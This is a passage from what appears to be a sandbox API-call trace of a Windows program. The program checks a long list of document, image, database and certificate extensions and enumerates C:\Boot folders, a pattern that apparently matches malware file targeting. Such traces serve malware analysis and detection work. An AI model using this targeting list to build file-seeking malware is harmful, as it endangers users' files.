(lpString=".cer") returned 4 [0036.883] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cf") returned 3 [0036.884] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0036.884] lstrlenW (lpString=".cfc") returned 4 [0036.884] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cfm") returned 4 [0036.884] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cfml") returned 5 [0036.884] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0036.884] lstrlenW (lpString=".cfu") returned 4 [0036.884] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".chm") returned 4 [0036.884] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cin") returned 4 [0036.884] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".class") returned 6 [0036.884] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0036.884] lstrlenW (lpString=".clx") returned 4 [0036.884] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".config") returned 7 [0036.884] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0036.884] lstrlenW (lpString=".cpp") returned 4 [0036.884] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cr2") returned 4 [0036.884] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".crt") returned 4 [0036.884] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".crw") returned 4 [0036.884] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cs") returned 3 [0036.884] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0036.884] lstrlenW (lpString=".css") returned 4 [0036.884] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".csv") returned 4 [0036.884] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".cub") returned 4 [0036.884] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0036.884] lstrlenW (lpString=".dae") returned 4 [0036.884] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dat") returned 4 [0036.885] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".db") returned 3 [0036.885] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0036.885] lstrlenW (lpString=".dbf") returned 4 [0036.885] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dbx") returned 4 [0036.885] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dc3") returned 4 [0036.885] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dcm") returned 4 [0036.885] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dcr") returned 4 [0036.885] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".der") returned 4 [0036.885] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dib") returned 4 [0036.885] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dic") returned 4 [0036.885] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dif") returned 4 [0036.885] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".divx") returned 5 [0036.885] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0036.885] lstrlenW (lpString=".djvu") returned 5 [0036.885] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0036.885] lstrlenW (lpString=".dng") returned 4 [0036.885] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".doc") returned 4 [0036.885] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".docm") returned 5 [0036.885] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0036.885] lstrlenW (lpString=".docx") returned 5 [0036.885] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.885] lstrlenW (lpString=".dot") returned 4 [0036.885] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0036.885] lstrlenW (lpString=".dotm") returned 5 [0036.886] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0036.886] lstrlenW (lpString=".dotx") returned 5 [0036.886] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0036.886] lstrlenW (lpString=".dpx") returned 4 [0036.886] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dqy") returned 4 [0036.886] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dsn") returned 4 [0036.886] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dt") returned 3 [0036.886] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0036.886] lstrlenW (lpString=".dtd") returned 4 [0036.886] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dwg") returned 4 [0036.886] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dwt") returned 4 [0036.886] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".dx") returned 3 [0036.886] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0036.886] lstrlenW (lpString=".dxf") returned 4 [0036.886] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".edml") returned 5 [0036.886] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0036.886] lstrlenW (lpString=".efd") returned 4 [0036.886] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".elf") returned 4 [0036.886] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".emf") returned 4 [0036.886] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".emz") returned 4 [0036.886] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".epf") returned 4 [0036.886] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".eps") returned 4 [0036.886] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0036.886] lstrlenW (lpString=".epsf") returned 5 [0036.887] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0036.887] lstrlenW (lpString=".epsp") returned 5 [0036.887] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0036.887] lstrlenW (lpString=".erf") returned 4 [0036.887] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".exr") returned 4 [0036.887] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".f4v") returned 4 [0036.887] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".fido") returned 5 [0036.887] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0036.887] lstrlenW (lpString=".flm") returned 4 [0036.887] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".flv") returned 4 [0036.887] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".frm") returned 4 [0036.887] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".fxg") returned 4 [0036.887] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".geo") returned 4 [0036.887] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".gif") returned 4 [0036.887] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".grs") returned 4 [0036.887] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".gz") returned 3 [0036.887] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0036.887] lstrlenW (lpString=".h") returned 2 [0036.887] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0036.887] lstrlenW (lpString=".hdr") returned 4 [0036.887] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".hpp") returned 4 [0036.887] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".hta") returned 4 [0036.887] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0036.887] lstrlenW (lpString=".htc") returned 4 [0036.887] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".htm") returned 4 [0036.888] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".html") returned 5 [0036.888] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0036.888] lstrlenW (lpString=".icb") returned 4 [0036.888] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".ics") returned 4 [0036.888] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".iff") returned 4 [0036.888] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".inc") returned 4 [0036.888] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".indd") returned 5 [0036.888] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0036.888] lstrlenW (lpString=".ini") returned 4 [0036.888] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".iqy") returned 4 [0036.888] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".j2c") returned 4 [0036.888] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".j2k") returned 4 [0036.888] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".java") returned 5 [0036.888] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0036.888] lstrlenW (lpString=".jp2") returned 4 [0036.888] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".jpc") returned 4 [0036.888] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".jpe") returned 4 [0036.888] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".jpeg") returned 5 [0036.888] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0036.888] lstrlenW (lpString=".jpf") returned 4 [0036.888] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".jpg") returned 4 [0036.888] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.888] lstrlenW (lpString=".jpx") returned 4 [0036.888] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".js") returned 3 [0036.889] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0036.889] lstrlenW (lpString=".jsf") returned 4 [0036.889] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".json") returned 5 [0036.889] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0036.889] lstrlenW (lpString=".jsp") returned 4 [0036.889] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".kdc") returned 4 [0036.889] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".kmz") returned 4 [0036.889] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".kwm") returned 4 [0036.889] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".lasso") returned 6 [0036.889] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0036.889] lstrlenW (lpString=".lbi") returned 4 [0036.889] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".lgf") returned 4 [0036.889] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".lgp") returned 4 [0036.889] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".log") returned 4 [0036.889] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".m1v") returned 4 [0036.889] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".m4a") returned 4 [0036.889] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".m4v") returned 4 [0036.889] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".max") returned 4 [0036.889] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".md") returned 3 [0036.889] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0036.889] lstrlenW (lpString=".mda") returned 4 [0036.889] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0036.889] lstrlenW (lpString=".mdb") returned 4 [0036.890] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mde") returned 4 [0036.890] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mdf") returned 4 [0036.890] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mdw") returned 4 [0036.890] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mef") returned 4 [0036.890] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mft") returned 4 [0036.890] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mfw") returned 4 [0036.890] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mht") returned 4 [0036.890] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mhtml") returned 6 [0036.890] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0036.890] lstrlenW (lpString=".mka") returned 4 [0036.890] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mkidx") returned 6 [0036.890] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0036.890] lstrlenW (lpString=".mkv") returned 4 [0036.890] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mos") returned 4 [0036.890] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mov") returned 4 [0036.890] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mp3") returned 4 [0036.890] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mp4") returned 4 [0036.890] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mpeg") returned 5 [0036.890] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0036.890] lstrlenW (lpString=".mpg") returned 4 [0036.890] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mpv") returned 4 [0036.890] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0036.890] lstrlenW (lpString=".mrw") returned 4 [0036.891] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0036.891] lstrlenW (lpString=".msg") returned 4 [0036.891] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0036.891] lstrlenW (lpString=".mxl") returned 4 [0036.891] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".myd") returned 4 [0036.891] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".myi") returned 4 [0036.891] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".nef") returned 4 [0036.891] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".nrw") returned 4 [0036.891] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".obj") returned 4 [0036.891] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".odb") returned 4 [0036.891] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".odc") returned 4 [0036.891] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".odm") returned 4 [0036.891] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".odp") returned 4 [0036.891] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".ods") returned 4 [0036.891] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".oft") returned 4 [0036.891] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".one") returned 4 [0036.891] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".onepkg") returned 7 [0036.891] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0036.891] lstrlenW (lpString=".onetoc2") returned 8 [0036.891] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0036.891] lstrlenW (lpString=".opt") returned 4 [0036.891] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0036.891] lstrlenW (lpString=".oqy") returned 4 [0036.891] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".orf") returned 4 [0036.892] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".p12") returned 4 [0036.892] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".p7b") returned 4 [0036.892] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".p7c") returned 4 [0036.892] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pam") returned 4 [0036.892] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pbm") returned 4 [0036.892] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pct") returned 4 [0036.892] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pcx") returned 4 [0036.892] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pdd") returned 4 [0036.892] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pdf") returned 4 [0036.892] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pdp") returned 4 [0036.892] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pef") returned 4 [0036.892] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pem") returned 4 [0036.892] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pff") returned 4 [0036.892] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pfm") returned 4 [0036.892] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pfx") returned 4 [0036.892] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".pgm") returned 4 [0036.892] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".php") returned 4 [0036.892] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0036.892] lstrlenW (lpString=".php3") returned 5 [0036.892] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".php4") returned 5 [0036.893] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".php5") returned 5 [0036.893] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".phtml") returned 6 [0036.893] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0036.893] lstrlenW (lpString=".pict") returned 5 [0036.893] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".pl") returned 3 [0036.893] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0036.893] lstrlenW (lpString=".pls") returned 4 [0036.893] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".pm") returned 3 [0036.893] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0036.893] lstrlenW (lpString=".png") returned 4 [0036.893] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".pnm") returned 4 [0036.893] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".pot") returned 4 [0036.893] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".potm") returned 5 [0036.893] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".potx") returned 5 [0036.893] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".ppa") returned 4 [0036.893] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".ppam") returned 5 [0036.893] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".ppm") returned 4 [0036.893] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".pps") returned 4 [0036.893] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".ppsm") returned 5 [0036.893] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0036.893] lstrlenW (lpString=".ppt") returned 4 [0036.893] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.893] lstrlenW (lpString=".pptm") returned 5 [0036.894] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0036.894] lstrlenW (lpString=".pptx") returned 5 [0036.894] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0036.894] lstrlenW (lpString=".prn") returned 4 [0036.894] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".ps") returned 3 [0036.894] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0036.894] lstrlenW (lpString=".psb") returned 4 [0036.894] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".psd") returned 4 [0036.894] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".pst") returned 4 [0036.894] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".ptx") returned 4 [0036.894] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".pub") returned 4 [0036.894] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".pwm") returned 4 [0036.894] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".pxr") returned 4 [0036.894] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".py") returned 3 [0036.894] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0036.894] lstrlenW (lpString=".qt") returned 3 [0036.894] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0036.894] lstrlenW (lpString=".r3d") returned 4 [0036.894] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".raf") returned 4 [0036.894] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".rar") returned 4 [0036.894] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.894] lstrlenW (lpString=".raw") returned 4 [0036.894] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0036.895] FindClose (in: hFindFile=0x612f00 | out: hFindFile=0x612f00) returned 1 [0036.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.895] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0036.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.895] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x612f00 [0036.895] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.895] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.895] FindClose (in: hFindFile=0x612f00 | out: hFindFile=0x612f00) returned 1 [0036.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.896] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, 